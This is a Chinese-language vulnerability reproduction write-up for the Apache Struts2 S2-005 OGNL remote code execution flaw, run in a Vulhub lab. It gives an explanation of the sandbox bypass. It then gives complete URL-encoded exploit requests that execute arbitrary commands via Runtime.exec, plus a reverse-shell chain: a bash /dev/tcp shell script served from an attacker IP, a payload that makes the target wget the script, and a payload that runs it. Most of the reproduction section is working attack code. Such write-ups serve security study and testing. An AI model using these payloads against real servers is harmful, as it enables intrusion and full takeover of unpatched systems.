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Struts2 S2-005 远程代码执行漏洞

漏洞描述

参考吴翰清的《白帽子讲Web安全》一书。

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式将这2个选项打开，S2-003的修补方案把自己上了一个锁，但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句，如：

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点，再配合OGNL的沙盒绕过方法，组成了S2-003。官方对003的修复方法是增加了安全模式（沙盒），S2-005在OGNL表达式中将安全模式关闭，又绕过了修复方法。整体过程如下：

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式（沙盒）
  • S2-005 使用OGNL表达式将沙盒关闭，继续执行代码

漏洞详情:

  • http://struts.apache.org/docs/s2-005.html

影响版本

影响版本: 2.0.0 - 2.1.8.1

环境搭建

Vulhub执行以下命令启动s2-005测试环境：

docker-compose build
docker-compose up -d

漏洞复现

执行任意命令POC（无回显，空格用@代替）：

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/awesome_poc%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36

image-20220301161455042

命令touch /tmp/awesome_poc成功执行：

image-20220301161548594

网上一些POC放到tomcat8下会返回400，研究了一下发现字符\、"不能直接放path里，需要urlencode，编码以后再发送就好了。这个POC没回显。

POC用到了OGNL的Expression Evaluation：

1

大概可以理解为，(aaa)(bbb)中aaa作为OGNL表达式字符串，bbb作为该表达式的root对象，所以一般aaa位置如果需要执行代码，需要用引号包裹起来，而bbb位置可以直接放置Java语句。(aaa)(bbb)=true实际上就是aaa=true。不过确切怎么理解，还需要深入研究，有待优化。

反弹shell

编写shell脚本并启动http服务器：

echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下：python -m http.server 80

上传shell.sh文件的命令为：

wget 192.168.174.128/shell.sh

上传shell.sh文件的Payload为：

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22wget@192.168.174.128/shell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1

执行shell.sh文件的命令为：

bash /usr/local/tomcat/shell.sh

执行shell.sh文件的Payload为：

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22bash@/usr/local/tomcat/shell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1

成功接收反弹shell：

image-20220301162511817